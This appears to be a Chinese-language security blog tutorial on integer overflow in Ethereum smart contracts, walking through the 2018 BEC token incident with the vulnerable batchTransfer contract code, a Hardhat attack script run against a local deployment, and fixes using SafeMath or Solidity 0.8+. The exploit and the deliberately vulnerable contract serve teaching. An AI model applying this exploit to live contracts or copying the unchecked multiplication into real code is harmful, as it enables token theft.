关于智能合约:智能合约安全之整型溢出

4次阅读

共计 3963 个字符,预计需要花费 10 分钟才能阅读完成。

概述

整型溢出是智能合约中常见的破绽之一。以太坊虚拟机对整数应用固定大小的数据类型,一个整数变量仅能示意一个固定范畴的数值,比方 uint8 类型只能保留[0, 255]。当把超过某个数据类型范畴的数值保留到这个变量时,就会产生溢出。例如

  1. 将一个 uint8 类型,值为 0 的变量进行减 1 操作时,计算结果会等于 255,称为减法溢出
  2. 将一个 uint8 类型,值为 255 的变量进行加 1 操作时,计算结果会等于 0,称为加法溢出
  3. 将一个 uint8 类型,值为 128 的变量进行乘 2 操作时,计算结果会等于 0,称为乘法溢出

这种数字上的舛误会容许攻击者应用恶意代码来发明一些非预期的逻辑流程。

重大事件

  • 2018 年 4 月 22 日,黑客利用整型溢出破绽,对美链 (BEC) 发动攻打,无中生有,凭空取出 57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968 个 BEC 代币,导致 BEC 价格近乎归零
  • 2018 年 4 月 25 日,SMT 我的项目方发现其交易存在异样,黑客利用其整型溢出破绽发明了 65,133,050,195,990,400,000,000,000,000,000,000,000,000,000,000,000,000,000,000.891004451135422463 个 SMT 代币

代码演示

应用 hardhat 创立合约工程,scripts/attack.ts为攻打流程演示代码,contracts/BecToken为破绽合约代码。这里的合约间接应用了美链 (BEC) 的合约代码。

局部合约代码:

library SafeMath {function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {// assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

/**
 * @title Pausable token
 *
 * @dev StandardToken modified with pausable transfers.
 **/

contract PausableToken is StandardToken, Pausable {function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {return super.transfer(_to, _value);
  }

  function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {return super.transferFrom(_from, _to, _value);
  }

  function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {return super.approve(_spender, _value);
  }
  // batchTransfer 函数存在破绽
  function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    // 这一行没有思考整型溢出
    uint256 amount = uint256(cnt) * _value;
    require(cnt > 0 && cnt <= 20);
    require(_value > 0 && balances[msg.sender] >= amount);

    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i < cnt; i++) {balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }
}

攻打脚本代码:

import {ethers} from "hardhat";

async function main() {
  // deploy
  const [owner, attacker1, attacker2, attacker3] = await ethers.getSigners();
  const BecToken = await ethers.getContractFactory("BecToken");
  const becToken = await BecToken.connect(owner).deploy();
  await becToken.deployed();
  console.log(`BecToken deployed successfully. The address is ${becToken.address}`);
  console.log('BecToken totalSupply:', await becToken.totalSupply()); 
  // attack
  console.log('[before]attacker1 token num:', await becToken.balanceOf(attacker1.address));
  console.log('[before]attacker2 token num', await becToken.balanceOf(attacker2.address));
  console.log('[before]attacker3 token num', await becToken.balanceOf(attacker3.address));
  await becToken.connect(attacker1).batchTransfer([attacker2.address, attacker3.address], BigInt(2) ** BigInt(255));
  console.log('[after]attacker2 token num', await becToken.balanceOf(attacker2.address));
  console.log('[after]attacker3 token num', await becToken.balanceOf(attacker3.address));
}

main().catch((error) => {console.error(error);
  process.exitCode = 1;
});
  1. BSC 合约思考到了加法以及减法导致的整型溢出问题。应用了 SafeMath 的 sub,add 函数进行加减操作。
  2. 然而疏忽了batchTransferuint256 amount = uint256(cnt) * _value; 这一行代码。_value 值为用户可管制的参数,却没有进行任何值的判断。攻击者能够轻松结构歹意参数申请,让uint256(cnt) * _value 溢出。
  3. 攻击者间接调用batchTransfer 合约函数,传入两个账户地址attacker2.address attacker3.address , 以及_value 2**255
  4. 当应用结构的歹意参数时,uint256 amount = uint256(cnt) * _value; 产生乘法溢出,amount的值为 0,胜利绕过了 require(_value > 0 && balances[msg.sender] >= amount); 查看,向_receivers 地址转入 2 ** 255 个 token, 哪怕 msg.sender(attacker1) 账户下只有 0 个 token,没有 2 ** 255 个 token

如何修复和预防

  1. Solidity < 0.8.0,应用 openzeppelin 提供的 SafeMath 库函数进行数值的加减乘除操作
  2. Solidity >= 0.8.0, Solidity 编译器主动集成 SafeMath, 间接应用 + - * / 即可,产生溢出时会主动回退交易

结语

整型溢出是十分常见根底的智能合约破绽,但在历史上也造成过巨额的资产损失。因而,合约开发人员还是要认真对待,应用 SafeMath 或应用 Solidity0.8.0 以上版本来预防整型溢出危险。

残缺代码

https://github.com/demo-box/blockchain-demo/tree/main/integerOverflow

https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

正文完
 0